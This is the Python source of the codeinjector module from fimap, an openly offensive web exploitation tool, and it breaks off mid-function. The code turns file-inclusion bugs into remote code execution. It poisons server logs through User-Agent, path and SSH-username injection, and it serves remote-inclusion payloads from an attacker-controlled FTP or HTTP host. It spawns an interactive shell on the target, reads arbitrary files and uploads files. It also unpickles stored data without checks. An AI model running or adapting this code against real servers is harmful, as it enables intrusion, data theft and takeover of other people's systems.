# # This file is part of fimap. # # Copyright(c) 2009-2012 Iman Karim(ikarim2s@smail.inf.fh-brs.de). # http://fimap.googlecode.com # # This file may be licensed under the terms of of the # GNU General Public License Version 2 (the ``GPL''). # # Software distributed under the License is distributed # on an ``AS IS'' basis, WITHOUT WARRANTY OF ANY KIND, either # express or implied. See the GPL for the specific language # governing rights and limitations. # # You should have received a copy of the GPL along with this # program. If not, go to http://www.gnu.org/licenses/gpl.html # or write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # from base64 import b64decode import pickle import base64 import shutil import os import sys from baseClass import baseClass from config import settings import urllib2 import urlparse __author__="Iman Karim(ikarim2s@smail.inf.fh-brs.de)" __date__ ="$03.09.2009 03:40:49$" shell_banner = "-------------------------------------------\n" + \ "Welcome to fimap shell!\n" + \ "Better don't start interactive commands! ;)\n" +\ "Also remember that this is not a persistent shell.\n" +\ "Every command opens a new shell and quits it after that!\n" +\ "Enter 'q' to exit the shell.\n"+\ "-------------------------------------------" class codeinjector(baseClass): def _load(self): self.report = None self.isLogKickstarterPresent = False def setReport(self, report): self.report = report def getPreparedComponents(self, shcode=None): fpath = None postdata = None header_dict = [] vuln = self.vulnerability; fpath = vuln.getAttribute("path") param = vuln.getAttribute("param") prefix = vuln.getAttribute("prefix") suffix = vuln.getAttribute("suffix") if (shcode == None): shcode = vuln.getAttribute("file") paramvalue = vuln.getAttribute("paramvalue") postdata = vuln.getAttribute("postdata") ispost = int(vuln.getAttribute("ispost")) isUnix = vuln.getAttribute("os") == "unix" vulnheaderkey = vuln.getAttribute("header_vuln_key") header_dict_b64 = vuln.getAttribute("header_dict") header_dict = {} if (header_dict_b64 != ""): header_dict_pickle = b64decode(header_dict_b64) header_dict = pickle.loads(header_dict_pickle) if (not isUnix and shcode[1]==":" and prefix != ""): shcode = shcode[3:] payload = "%s%s%s" %(prefix, shcode, suffix) if (ispost == 0): fpath = fpath.replace("%s=%s" %(param, paramvalue), "%s=%s"%(param, payload)) elif (ispost == 1): postdata = postdata.replace("%s=%s" %(param, paramvalue), "%s=%s"%(param, payload)) elif (ispost == 2): tmp = header_dict[vulnheaderkey] tmp = tmp.replace("%s=%s" %(param, paramvalue), "%s=%s"%(param, payload)) header_dict[vulnheaderkey] = tmp return(fpath, postdata, header_dict, payload) def probeExecMethods(self, url, postdata, header_dict, domain, vuln): working_shell = None hostname = domain.getAttribute("hostname") mode = vuln.getAttribute("mode") fpath = vuln.getAttribute("path") param = vuln.getAttribute("param") prefix = vuln.getAttribute("prefix") suffix = vuln.getAttribute("suffix") appendix = vuln.getAttribute("appendix") shcode = vuln.getAttribute("file") paramvalue = vuln.getAttribute("paramvalue") kernel = domain.getAttribute("kernel") ispost = int(vuln.getAttribute("ispost")) language = vuln.getAttribute("language") isUnix = vuln.getAttribute("os") == "unix" xml2config = self.config["XML2CONFIG"] langClass = xml2config.getAllLangSets()[language] shellquiz, shellanswer = xml2config.generateShellQuiz(isUnix) shell_test_code = shellquiz shell_test_result = shellanswer for item in langClass.getExecMethods(): try: name = item.getName() payload = None if (item.isUnix() and isUnix) or (item.isWindows() and not isUnix): self._log("Testing execution thru '%s'..."%(name), self.LOG_INFO) testload = item.generatePayload(shell_test_code) if (mode.find("A") != -1): self.setUserAgent(testload) code = self.doPostRequest(url, postdata, header_dict) elif (mode.find("P") != -1): if (postdata != ""): testload = "%s&%s" %(postdata, testload) code = self.doPostRequest(url, testload, header_dict) elif (mode.find("R") != -1): code = self.executeRFI(url, postdata, appendix, testload, header_dict) elif (mode.find("L") != -1): testload = self.convertUserloadToLogInjection(testload) testload = "data=" + base64.b64encode(testload) if (postdata != ""): testload = "%s&%s" %(postdata, testload) code = self.doPostRequest(url, testload, header_dict) if code != None and code.find(shell_test_result) != -1: working_shell = item self._log("Execution thru '%s' works!"%(name), self.LOG_ALWAYS) if (kernel == None): self._log("Requesting kernel version...", self.LOG_DEBUG) uname_cmd = item.generatePayload(xml2config.getKernelCode(isUnix)) kernel = self.__doHaxRequest(url, postdata, mode, uname_cmd, langClass, suffix, headerDict=header_dict).strip() self._log("Kernel received: %s" %(kernel), self.LOG_DEBUG) domain.setAttribute("kernel", kernel) self.saveXML() break else: self._log("Skipping execution method '%s'..."%(name), self.LOG_DEBUG) except KeyboardInterrupt: self._log("Aborted by user.", self.LOG_WARN) return(working_shell) def start(self, OnlyExploitable): domain = self.chooseDomains(OnlyExploitable) vuln = self.chooseVuln(domain.getAttribute("hostname")) self.vulnerability = vuln; hostname = domain.getAttribute("hostname") mode = vuln.getAttribute("mode") fpath = vuln.getAttribute("path") param = vuln.getAttribute("param") prefix = vuln.getAttribute("prefix") suffix = vuln.getAttribute("suffix") appendix = vuln.getAttribute("appendix") shcode = vuln.getAttribute("file") paramvalue = vuln.getAttribute("paramvalue") kernel = domain.getAttribute("kernel") postdata = vuln.getAttribute("postdata") ispost = int(vuln.getAttribute("ispost")) language = vuln.getAttribute("language") isUnix = vuln.getAttribute("os") == "unix" vulnheaderkey = vuln.getAttribute("header_vuln_key") header_dict_b64 = vuln.getAttribute("header_dict") header_dict = {} if (header_dict_b64 != ""): header_dict_pickle = b64decode(header_dict_b64) header_dict = pickle.loads(header_dict_pickle) if (not isUnix and shcode[1]==":"): shcode = shcode[3:] xml2config = self.config["XML2CONFIG"] langClass = xml2config.getAllLangSets()[language] plugman = self.config["PLUGINMANAGER"] if (kernel == ""): kernel = None fpath, postdata, header_dict, payload = self.getPreparedComponents() php_inject_works = False sys_inject_works = False working_shell = None url = "http://%s%s" %(hostname, fpath) code = None quiz, answer = langClass.generateQuiz() php_test_code = quiz php_test_result = answer if (mode.find("A") != -1 and mode.find("x") != -1): # Some exploit which is exploitable by changing the useragent. self._log("Testing %s-code injection thru User-Agent..."%(language), self.LOG_INFO) code = self.__doHaxRequest(url, postdata, mode, php_test_code, langClass, suffix, headerDict=header_dict) elif (mode.find("P") != -1 and mode.find("x") != -1): # Some exploit which is exploitable by sending POST requests. self._log("Testing %s-code injection thru POST..."%(language), self.LOG_INFO) code = self.__doHaxRequest(url, postdata, mode, php_test_code, langClass, suffix, headerDict=header_dict) elif (mode.find("L") != -1): # Some exploit which is exploitable by injecting specially crafted log entries. if (mode.find("H") != -1): self._log("Testing %s-code injection thru Logfile HTTP-UA-Injection..."%(language), self.LOG_INFO) elif (mode.find("F") != -1): self._log("Testing %s-code injection thru Logfile FTP-Username-Injection..."%(language), self.LOG_INFO) elif (mode.find("S") != -1): self._log("Testing %s-code injection thru Logfile SSH-Username-Injection..."%(language), self.LOG_INFO) code = self.__doHaxRequest(url, postdata, mode, php_test_code, langClass, suffix, headerDict=header_dict) elif (mode.find("R") != -1): # Some exploit which is exploitable by loading pages through another website (RFI) suffix = appendix if settings["dynamic_rfi"]["mode"] == "ftp": self._log("Testing code thru FTP->RFI...", self.LOG_INFO) if (ispost == 0): url = url.replace("%s=%s"%(param, payload), "%s=%s"%(param, settings["dynamic_rfi"]["ftp"]["http_map"])) elif (ispost == 1): postdata = postdata.replace("%s=%s"%(param, payload), "%s=%s"%(param, settings["dynamic_rfi"]["ftp"]["http_map"])) elif (ispost == 2): tmp = header_dict[vulnheaderkey] tmp = tmp.replace("%s=%s"%(param, payload), "%s=%s"%(param, settings["dynamic_rfi"]["ftp"]["http_map"])) header_dict[vulnheaderkey] = tmp code = self.__doHaxRequest(url, postdata, mode, php_test_code, langClass, appendix, headerDict=header_dict) elif settings["dynamic_rfi"]["mode"] == "local": self._log("Testing code thru LocalHTTP->RFI...", self.LOG_INFO) if (ispost == 0): url = url.replace("%s=%s"%(param, payload), "%s=%s"%(param, settings["dynamic_rfi"]["local"]["http_map"])) elif (ispost == 1): postdata = postdata.replace("%s=%s"%(param, payload), "%s=%s"%(param, settings["dynamic_rfi"]["local"]["http_map"])) elif (ispost == 2): tmp = header_dict[vulnheaderkey] tmp = tmp.replace("%s=%s"%(param, payload), "%s=%s"%(param, settings["dynamic_rfi"]["local"]["http_map"])) header_dict[vulnheaderkey] = tmp code = self.__doHaxRequest(url, postdata, mode, php_test_code, langClass, appendix, headerDict=header_dict) else: print "fimap is currently not configured to exploit RFI vulnerabilities." sys.exit(1) elif (mode.find("r") != -1): # Some point which we know that we can include files but we haven't found any good vectors. self._log("You have selected a file which is only readable.", self.LOG_ALWAYS) self._log("Let's see if one of our plugins is interested in it...", self.LOG_ALWAYS) textarr = [] idx = 1 choose = {} header = "Fallback Plugin Selection" pluginman = self.config["PLUGINMANAGER"] plugin_attacks = pluginman.requestPluginFallbackActions(langClass) for attacks in plugin_attacks: pluginName, attackmode = attacks label, callback = attackmode textarr.append("[%d] [%s] %s" %(idx, pluginName, label)) choose[idx] = callback idx += 1 textarr.append("[q] Quit") if (idx == 1): print "Sorry. No plugin was interested :(" sys.exit(0) else: inp = "" val = -1 while (1==1): self.drawBox(header, textarr) inp = raw_input("Your Selection: ") if (inp == "q" or inp == "Q"): break try: val = int(inp) if (val < 0 or val > idx-1): print "Invalid selection index. Hit 'q' to quit." else: haxhelper = HaxHelper(self, url, postdata, mode, langClass, suffix, isUnix, sys_inject_works, None) plugman.broadcast_callback(choose[val], haxhelper) except: print "Invalid number selected. Hit 'q' to quit." sys.exit(1) if code == None: self._log("%s-code testing failed! code=None"%(language), self.LOG_ERROR) sys.exit(1) if (code.find(php_test_result) != -1): self._log("%s Injection works! Testing if execution works..."%(language), self.LOG_ALWAYS) php_inject_works = True working_shell = self.probeExecMethods(url, postdata, header_dict, domain, vuln) sys_inject_works = False if (working_shell != None): sys_inject_works = True attack = None while (attack != "q"): attack = None if (self.config["p_exploit_cmds"] != None): attack = "fimap_shell" else: attack = self.chooseAttackMode(language, php_inject_works, sys_inject_works, isUnix) if (type(attack) == str): if (attack == "fimap_shell"): tab_choice = [] ls_cmd = None def complete(txt, state): for tab in tab_choice: if tab.startswith(txt): if not state: return tab else: state -= 1 if (self.config["p_tabcomplete"]): self._log("Setting up tab-completation...", self.LOG_DEBUG) try: import readline readline.parse_and_bind("tab: complete") readline.set_completer(complete) if (isUnix): ls_cmd = "ls -m" else: ls_cmd = "dir /B" self._log("Epic Tab-completation enabled!", self.LOG_INFO) except: self._log("Epicly failed to setup readline module!", self.LOG_WARN) self._log("Falling back to default exploit-shell.", self.LOG_WARN) cmd = "" print "Please wait - Setting up shell (one request)..." #pwd_cmd = item.generatePayload("pwd;whoami") commands = [xml2config.getCurrentDirCode(isUnix), xml2config.getCurrentUserCode(isUnix)] if (ls_cmd != None): commands.append(ls_cmd) pwd_cmd = working_shell.generatePayload(xml2config.concatCommands(commands, isUnix)) tmp = self.__doHaxRequest(url, postdata, mode, pwd_cmd, langClass, suffix, headerDict=header_dict).strip() if (tmp.strip() == ""): print "Failed to setup shell! The resulting string was empty!" break curdir = "<null_dir>" curusr = "<null_user>" if len(tmp.split("\n")) >= 2: curdir = tmp.split("\n")[0].strip() curusr = tmp.split("\n")[1].strip() if (ls_cmd != None): dir_content = ",".join(tmp.split("\n")[2:]) tab_choice = [] for c in dir_content.split(","): c = c.strip() if (c != ""): tab_choice.append(c) if (curusr) == "": curusr = "fimap" print shell_banner while 1==1: cmd = None if (self.config["p_exploit_cmds"] != None): # Execute commands the user defined through parameters. if (len(self.config["p_exploit_cmds"]) > 0): cmd = self.config["p_exploit_cmds"][0] self._log("Executing command: %s" %(cmd), self.LOG_INFO) del(self.config["p_exploit_cmds"][0]) else: self._log("Done with user supplied command batch.", self.LOG_INFO); sys.exit(0) else: # Ask the user for a shell command. cmd = raw_input("fishell@%s:%s$> " %(curusr,curdir)) if cmd == "q" or cmd == "quit": break try: if (cmd.strip() != ""): commands = (xml2config.generateChangeDirectoryCommand(curdir, isUnix), cmd) cmds = xml2config.concatCommands(commands, isUnix) userload = working_shell.generatePayload(cmds) code = self.__doHaxRequest(url, postdata, mode, userload, langClass, suffix, headerDict=header_dict) if (cmd.startswith("cd ")): # Get Current Directory... commands = (xml2config.generateChangeDirectoryCommand(curdir, isUnix), cmd, xml2config.getCurrentDirCode(isUnix)) cmds = xml2config.concatCommands(commands, isUnix) cmd = working_shell.generatePayload(cmds) curdir = self.__doHaxRequest(url, postdata, mode, cmd, langClass, suffix, headerDict=header_dict).strip() # Refresh Tab-Complete Cache... if (ls_cmd != None): self._log("Refreshing Tab-Completation cache...", self.LOG_DEBUG) commands = (xml2config.generateChangeDirectoryCommand(curdir, isUnix), ls_cmd) cmds = xml2config.concatCommands(commands, isUnix) cmd = working_shell.generatePayload(cmds) tab_cache = self.__doHaxRequest(url, postdata, mode, cmd, langClass, suffix, headerDict=header_dict).strip() if (ls_cmd != None): dir_content = ",".join(tab_cache.split("\n")) tab_choice = [] for c in dir_content.split(","): c = c.strip() if (c != ""): tab_choice.append(c) print code.strip() except KeyboardInterrupt: print "\nCancelled by user." print "See ya dude!" print "Do not forget to close this security hole." else: haxhelper = HaxHelper(self, url, postdata, mode, langClass, suffix, isUnix, sys_inject_works, working_shell) plugman.broadcast_callback(attack, haxhelper) #ASDF else: cpayload = attack.generatePayload() shellcode = None if (not attack.doInShell()): shellcode = cpayload else: shellcode = working_shell.generatePayload(cpayload) code = self.__doHaxRequest(url, postdata, mode, shellcode, langClass, appendix, headerDict=header_dict) if (code == None): print "Exploiting Failed!" sys.exit(1) print code.strip() elif (code.find(php_test_code) != -1): try: self._log("Injection not possible! It looks like a file disclosure bug.", self.LOG_WARN) self._log("fimap can currently not readout files comfortably.", self.LOG_WARN) go = raw_input("Do you still want to readout files (even without filtering them)? [Y/n] ") if (go == "Y" or go == "y" or go == ""): while 1==1: inp = raw_input("Absolute filepath you want to read out: ") if (inp == "q"): print "Fix this hole! Bye." sys.exit(0) payload = "%s%s%s" %(prefix, inp, suffix) if (not ispost): path = fpath.replace("%s=%s" %(param, paramvalue), "%s=%s"%(param, payload)) else: postdata = postdata.replace("%s=%s" %(param, paramvalue), "%s=%s"%(param, payload)) url = "http://%s%s" %(hostname, path) code = self.__doHaxRequest(url, postdata, mode, "", langClass, appendix, False, headerDict=header_dict) print "--- Unfiltered output starts here ---" print code print "--- EOF ---" else: print "Cancelled. If you want to read out files by hand use this URL:" if (not ispost): path = fpath.replace("%s=%s" %(param, paramvalue), "%s=%s"%(param, "ABSOLUTE_FILE_GOES_HERE")) url = "http://%s%s" %(hostname, path) print "URL: " + url else: postdata = postdata.replace("%s=%s" %(param, paramvalue), "%s=%s"%(param, "ABSOLUTE_FILE_GOES_HERE")) url = "http://%s%s" %(hostname, path) print "URL : " + url print "With Postdata: " + postdata except KeyboardInterrupt: raise else: print "Failed to test injection. :(" def _doHaxRequest(self, url, postdata, m, payload, langClass, appendix=None, doFilter=True, headerDict=None): return(self.__doHaxRequest(url, postdata, m, payload, langClass, appendix, doFilter, headerDict=headerDict)) def __doHaxRequest(self, url, postdata, m, payload, langClass, appendix=None, doFilter=True, headerDict=None): code = None rndStart = self.getRandomStr() rndEnd = self.getRandomStr() userload = None if doFilter: userload = "%s %s %s" %(langClass.generatePrint(rndStart), payload, langClass.generatePrint(rndEnd)) else: pass #userload = "%s%s%s" %(rndStart, payload, rndEnd) if (m.find("A") != -1): self.setUserAgent(userload) code = self.doPostRequest(url, postdata, additionalHeaders = headerDict) elif (m.find("P") != -1): if (postdata != ""): userload = "%s&%s" %(postdata, userload) code = self.doPostRequest(url, userload, additionalHeaders = headerDict) elif (m.find("R") != -1): code = self.executeRFI(url, postdata, appendix, userload, headerDict) elif (m.find("L") != -1): if (not self.isLogKickstarterPresent): self._log("Testing if log kickstarter is present...", self.LOG_INFO) testcode = langClass.generateQuiz() p = "data=" + base64.b64encode(self.convertUserloadToLogInjection(testcode[0])) if (postdata != ""): p = "%s&%s" %(postdata, p) code = self.doPostRequest(url, p) if (code == None): return(None) #TODO: Cleanup this dirty block :) if (code.find(testcode[1]) == -1): if (m.find("H") != -1): self._log("Kickstarter is not present. Injecting kickstarter thru UserAgent...", self.LOG_INFO) kickstarter = langClass.getEvalKickstarter() ua = self.getUserAgent() self.setUserAgent(kickstarter) tmpurl = None if (url.find("?") != -1): tmpurl = url[:url.find("?")] else: tmpurl = url self.doGetRequest(tmpurl, additionalHeaders = headerDict) self.setUserAgent(ua) self._log("Testing once again if kickstarter is present...", self.LOG_INFO) testcode = langClass.generateQuiz() p = "data=" + base64.b64encode(self.convertUserloadToLogInjection(testcode[0])) if (postdata != ""): p = "%s&%s" %(postdata, p) code = self.doPostRequest(url, p, additionalHeaders = headerDict) if (code.find(testcode[1]) == -1): self._log("Failed to inject kickstarter thru UserAgent!", self.LOG_ERROR) self._log("Trying to inject kickstarter thru Path...", self.LOG_INFO) self._log("Ignore any 404 errors for the next request.", self.LOG_INFO) kickstarter = langClass.getEvalKickstarter() tmpurl = None if (url.find("?") != -1): tmpurl = url[:url.find("?")] else: tmpurl = url tmpurl += "?" + kickstarter self.doGetRequest(tmpurl, additionalHeaders = headerDict) self._log("Testing once again if kickstarter is present...", self.LOG_INFO) testcode = langClass.generateQuiz() p = "data=" + base64.b64encode(self.convertUserloadToLogInjection(testcode[0])) if (postdata != ""): p = "%s&%s" %(postdata, p) code = self.doPostRequest(url, p, additionalHeaders = headerDict) if (code.find(testcode[1]) != -1): self._log("Kickstarter successfully injected thru Path!", self.LOG_INFO) self.isLogKickstarterPresent = True else: self._log("Failed to inject kickstarter thru Path!", self.LOG_ERROR) sys.exit(1) else: self._log("Kickstarter successfully injected! thru UserAgent!", self.LOG_INFO) self.isLogKickstarterPresent = True if (m.find("S") != -1): import ssh if (ssh.paramikoInstalled == False): self._log("I am soooo sorry bro but you need paramiko python module installed to use this feature!", self.LOG_ERROR) self._log("$> sudo apt-get install python-paramiko # maybe? :)", self.LOG_ERROR) sys.exit(1); self._log("Kickstarter is not present. Injecting kickstarter thru SSH Username...", self.LOG_INFO) kickstarter = langClass.getEvalKickstarter() # Parse out hostname hostname = url[url.find("//") +2:] if ("/" in hostname): hostname = hostname[:hostname.find("/")] if (hostname.startswith("www.")): hostname = hostname[4:] self._log("Trying to connect to ssh://'%s'"%(hostname), self.LOG_DEBUG) self._log("SSH-Username: %s"%(kickstarter), self.LOG_DEVEL) try: ssh.Connection(hostname, username=kickstarter, password="asdf") except: pass self._log("Testing once again if kickstarter is present...", self.LOG_INFO) testcode = langClass.generateQuiz() p = "data=" + base64.b64encode(self.convertUserloadToLogInjection(testcode[0])) if (postdata != ""): p = "%s&%s" %(postdata, p) code = self.doPostRequest(url, p, additionalHeaders = headerDict) else: self._log("Kickstarter found!", self.LOG_INFO) self.isLogKickstarterPresent = True if (self.isLogKickstarterPresent): # Remove all <? and ?> tags. userload = self.convertUserloadToLogInjection(userload) userload = "data=" + base64.b64encode(userload) if (postdata != ""): userload = "%s&%s" %(postdata, userload) code = self.doPostRequest(url, userload, additionalHeaders = headerDict) if (code != None): if doFilter: code = code[code.find(rndStart)+len(rndStart): code.find(rndEnd)] return(code) def testRFI(self): xml2config = self.config["XML2CONFIG"] langClass = xml2config.getAllLangSets() for langName, langObj in langClass.items(): print "Testing language %s..." %(langName) c, r = langObj.generateQuiz() enc_c = self.payload_encode(c) if (settings["dynamic_rfi"]["mode"] == "local"): print "Testing Local->RFI configuration..." code = self.executeRFI(settings["dynamic_rfi"]["local"]["http_map"], "", "", c, {}) if (code == enc_c): print "Dynamic RFI works!" for ext in langObj.getExtentions(): print "Testing %s interpreter..." %(ext) #settings["dynamic_rfi"]["ftp"]["ftp_path"] = settings["dynamic_rfi"]["local"]["local_path"] + ext code = self.executeRFI(settings["dynamic_rfi"]["local"]["http_map"] + ext, "", ext, c, {}) if (code == r): print "WARNING! Files which ends with %s will be interpreted! Fix that!"%(ext) else: pass # Seems to be not interpreted... else: print "Failed! Something went wrong..." elif (settings["dynamic_rfi"]["mode"] == "ftp"): print "Testing FTP->RFI configuration..." code = self.executeRFI(settings["dynamic_rfi"]["ftp"]["http_map"], "", "", c, {}) if (code != None): code = code.strip() if (code == enc_c): print "Dynamic RFI works!" for ext in langObj.getExtentions(): print "Testing %s interpreter..."%(ext) #settings["dynamic_rfi"]["ftp"]["ftp_path"] = settings["dynamic_rfi"]["ftp"]["ftp_path"] + ext code = self.executeRFI(settings["dynamic_rfi"]["ftp"]["http_map"] + ext, "", ext, c, {}) if (code.find(r) != -1): print "WARNING! Files which ends with %s will be interpreted! Fix that!"%(ext) else: pass # Seems to be not interpreted... else: print "Failed! Something went wrong..." print "Code: " + code; else: print "Code == None. That's not good! Failed!" else: print "You haven't enabled and\\or configurated fimap RFI mode." print "Fix that in config.py" sys.exit(0) def convertUserloadToLogInjection(self, userload): userload = userload.replace("<?php", "").replace("?>", "") userload = userload.replace("<?", "") return(userload.strip()) def chooseAttackMode(self, language, php=True, syst=True, isUnix=True): header = "" choose = {} textarr = [] idx = 1 xml2config = self.config["XML2CONFIG"] langClass = xml2config.getAllLangSets()[language] if (syst): header = ":: Available Attacks - %s and SHELL access ::" %(language) textarr.append("[1] Spawn fimap shell") choose[1] = "fimap_shell" idx = 2 for payloadobj in langClass.getPayloads(): if (payloadobj.isForUnix() and isUnix or payloadobj.isForWindows() and not isUnix): k = payloadobj.getName() v = payloadobj textarr.append("[%d] %s"%(idx,k)) choose[idx] = v idx = idx +1 else: header = ":: Available Attacks - %s Only ::" %(language) for payloadobj in langClass.getPayloads(): k = payloadobj.getName() v = payloadobj textarr.append("[%d] %s"%(idx,k)) choose[idx] = v idx = idx +1 pluginman = self.config["PLUGINMANAGER"] plugin_attacks = pluginman.requestPluginActions(langClass, syst, isUnix) for attacks in plugin_attacks: pluginName, attackmode = attacks label, callback = attackmode textarr.append("[%d] [%s] %s" %(idx, pluginName, label)) choose[idx] = callback idx += 1 textarr.append("[q] Quit") self.drawBox(header, textarr) while (1==1): tech = raw_input("Choose Attack: ") try: if (tech.strip() == "q"): sys.exit(0) tech = choose[int(tech)] return(tech) except Exception, err: print "Invalid attack. Press 'q' to break." def executeRFI(self, URL, postdata, appendix, content, header): content = self.payload_encode(content) if (appendix == "%00"): appendix = "" if settings["dynamic_rfi"]["mode"]=="ftp": up = self.FTPuploadFile(content, appendix) code = self.doPostRequest(URL, postdata, header) if up["dirstruct"]: self.FTPdeleteDirectory(up["ftp"]) else: self.FTPdeleteFile(up["ftp"]) return(code) elif settings["dynamic_rfi"]["mode"]=="local": up = self.putLocalPayload(content, appendix) code = self.doPostRequest(URL, postdata, additionalHeaders=header) self.deleteLocalPayload(up["local"]) return(code) def payload_encode(self, content): if (self.config["p_rfi_encode"] != None): if (self.config["p_rfi_encode"] == "php_b64"): content = "<?php echo base64_decode(\"%s\"); ?>"%(base64.b64encode(content)) self._log("Encoded content: %s" %(content), self.LOG_DEBUG) else: self._log("Invalid RFI encoder selected!", self.LOG_WARN); return(content) def chooseDomains(self, OnlyExploitable=True): choose = {} nodes = self.getDomainNodes() idx = 1 header = ":: List of Domains ::" textarr = [] doRemoteWarn = False missingCount = 0 for n in nodes: host = n.getAttribute("hostname") kernel = n.getAttribute("kernel") if (kernel == ""): kernel = None showit = False for child in self.getNodesOfDomain(host): mode = child.getAttribute("mode") if ("x" in mode): showit = True elif (mode.find("R") != -1 and settings["dynamic_rfi"]["mode"] not in ("ftp", "local")): doRemoteWarn = True elif (mode.find("R") != -1 and settings["dynamic_rfi"]["mode"] in ("ftp", "local")): showit = True if (showit or not OnlyExploitable): choose[idx] = n if (kernel != None): textarr.append("[%d] %s (%s)" %(idx, host, kernel)) else: textarr.append("[%d] %s" %(idx, host)) idx = idx +1 else: missingCount += 1 if (idx == 1): print "No exploitable domains found." if (missingCount > 0): print "There are some domains hidden tho because they can't be exploited by fimap without help." print "To show them start fimap with *uppercase* -X" sys.exit(0) if (missingCount > 0): textarr.append("[ ] And %d hosts with no valid attack vectors."%(missingCount)) textarr.append(" Type '?' to see what it means.") textarr.append("[q] Quit") self.drawBox(header, textarr) if (doRemoteWarn): print "WARNING: Some domains may be not listed here because dynamic_rfi is not configured! " # If the user has picked the domain already through a parameter # we just try to set it here and return its result. if (self.config["p_exploit_domain"] != None): wantedDomain = self.config["p_exploit_domain"] self._log("Trying to autoselect target with hostname '%s'..." %(wantedDomain), self.LOG_INFO) for n in nodes: if (n.getAttribute("hostname") == wantedDomain): return(n) print "The domain '%s' doesn't exist! Can't continue :(" %(wantedDomain) sys.exit(1) while(1==1): c = raw_input("Choose Domain: ") if (c == "q"): sys.exit(0) elif (c == "?"): print "------------------------------------------------------------------------------" print "Why are some domains not visible?" print "This can have two reasons." print "* Non executable files:" print " It's likly that fimap has found an inclusion bug and was able to read out" print " non executable files like '/etc/passwd' or 'c:\\boot.ini'." print " In cases like this it's not possible to automaticly attack the machine." print " However if you are able to upload a file on the webserver you have high" print " chances to spawn a shell." print "* Remote File Inclusion bugs:" print " If you have found RFI only bugs you have to enable Dynamic RFI in order to" print " exploit the bug with fimap. The RFI-Only domains will be hidden unless you" print " have configured and enabled Dynamic RFI." print " However you can always take a look at the ~/fimap_result.xml , get your info" print " and do it manually." print "------------------------------------------------------------------------------" else: try: c = int(c) ret = choose[c] return(ret) except: print "Invalid Domain ID." def chooseVuln(self, hostname): choose = {} nodes = self.getNodesOfDomain(hostname) doRemoteWarn = False idx = 1 header = ":: FI Bugs on '" + hostname + "' ::" textarr = [] hasAtLeastAReadable = False readableNode = None # If the user has picked the exploitmode already through a parameter # we just try to set it here and run the fallback selection. wantedID = None if (self.config["p_exploit_script_id"] != None): wantedID = self.config["p_exploit_script_id"] for n in nodes: path = n.getAttribute("path") file = n.getAttribute("file") param = n.getAttribute("param") mode = n.getAttribute("mode") ispost = int(n.getAttribute("ispost")) if (mode.find("R") != -1 and settings["dynamic_rfi"]["mode"] not in ("ftp", "local")): doRemoteWarn = True if (mode.find("x") != -1 or (mode.find("R") != -1 and settings["dynamic_rfi"]["mode"] in ("ftp", "local"))): if (wantedID != None and wantedID == idx): self._log("Autoselected vulnerability with ID %d."%wantedID, self.LOG_INFO) return(n) choose[idx] = n if (ispost == 0): textarr.append("[%d] URL: '%s' injecting file: '%s' using GET-param: '%s'" %(idx, path, file, param)) elif (ispost == 1): textarr.append("[%d] URL: '%s' injecting file: '%s' using POST-param: '%s'" %(idx, path, file, param)) elif (ispost == 2): textarr.append("[%d] URL: '%s' injecting file: '%s' using HEADER-param: '%s'" %(idx, path, file, param)) idx = idx +1 elif (mode.find("r") != -1): hasAtLeastAReadable = True readableNode = n if (idx == 1): if (doRemoteWarn): print "WARNING: Some bugs can not be used because dynamic_rfi is not configured!" if (hasAtLeastAReadable): return(n) else: print "This domain has no usable bugs." sys.exit(1) textarr.append("[q] Quit") self.drawBox(header, textarr) if (doRemoteWarn): print "WARNING: Some bugs are suppressed because dynamic_rfi is not configured!" while (1==1): c = raw_input("Choose vulnerable script: ") if (c == "q"): sys.exit(0) try: c = int(c) ret = choose[c] return(ret) except: print "Invalid script ID." class HaxHelper: def __init__(self, parent, url, postdata, mode, langClass, suffix, isUnix, sys_inject_works, working_shell): """ Initiator of HaxHelper. As plugin developer you should never use this. """ self.parent_codeinjector = parent self.url = url self.postdata = postdata self.mode = mode self.langClass = langClass self.suffix = suffix self.isunix = isUnix self.issys = sys_inject_works self.shell = working_shell self.generic_lang = self.parent_codeinjector.config["XML2CONFIG"] def executeSystemCommand(self, command): """ Execute a system command on the vulnerable system. Returns a String which contains it's result if all OK. False if we can't inject system commands. None if something went wrong. """ if (self.canExecuteSystemCommands()): cmd = self.shell.generatePayload(command) ret = self.parent_codeinjector._doHaxRequest(self.url, self.postdata, self.mode, cmd, self.langClass, self.suffix) if (ret != None): return(ret.strip()) else: return(None) return(False) def executeCode(self, code): """ Execute interpreted code on the vulnerable system and returns it's response (filtered). """ return(self.parent_codeinjector._doHaxRequest(self.url, self.postdata, self.mode, code, self.langClass, self.suffix).strip()) def isUnix(self): """ Returns True if the vulnerable machine is a unix box. """ return(self.isunix) def isWindows(self): """ Returns True if the vulnerable machine is a windows box. """ return(not self.isunix) def getLangName(self): """ Get the language name of the vulnerable script as String. """ return(self.langClass.getName().lower()) def canExecuteSystemCommands(self): """ Returns True if we are able to execute system commands. Otherwise False. """ return(self.issys) def concatCommands(self, commands): """ Give this command a array of system-commands and it will concat them for the vulnerable system. """ return(self.generic_lang.concatCommands(commands, self.isunix)) def getPWD(self): """ Returns the current directory on the remote server. """ return(self.executeSystemCommand(self.getPWDCommand())) def getPWDCommand(self): """ Returns a `pwd` command for the vulnerable server. """ return(self.generic_lang.getCurrentDirCode(self.isunix)) def getUsernameCommand(self): """ Returns a `whoami` command for the vulnerable server. """ return(self.generic_lang.getCurrentUserCode(self.isunix)) def getConcatSymbol(self): """ Returns the concat symbol which is correct for the server. """ return(self.generic_lang.getConcatSymbol(self.isunix)) def generateChangeDirectoryCommand(self, newdir): """ Generate system-code to change directory. """ return(self.generic_lang.generateChangeDirectoryCommand(newdir, self.isunix)) def getUNAMECommand(self): """ Get a system-command which tells us the kernel version. """ return(self.generic_lang.getKernelCode(self.isunix)) def uploadfile(self, lfile, rfile, chunksize=2048): ret = 0 f = open(lfile, "rb") while 1==1: data = None if (chunksize == -1): data = f.read() else: data = f.read(chunksize) if (data != ""): bdata = base64.b64encode(data) code = self.langClass.generateWriteFileCode(rfile, "a", bdata) html = self.executeCode(code) if (html == "FAILED"): break else: ret = ret + len(data) else: break f.close() return(ret) def getURL(self): return self.url def getHaxDataForCustomFile(self, file): return(self.parent_codeinjector.getPreparedComponents(file)) def doRequest(self, URL, POST=None, HEADERS=None): return(self.parent_codeinjector.doPostRequest(URL, POST, additionalHeaders=HEADERS)) def getRawHTTPRequest(self, customFile): path, post, header, payload = self.parent_codeinjector.getPreparedComponents(customFile) hasPost = post != None and post != "" host = urlparse.urlsplit(self.url)[1] ret = "" if (not 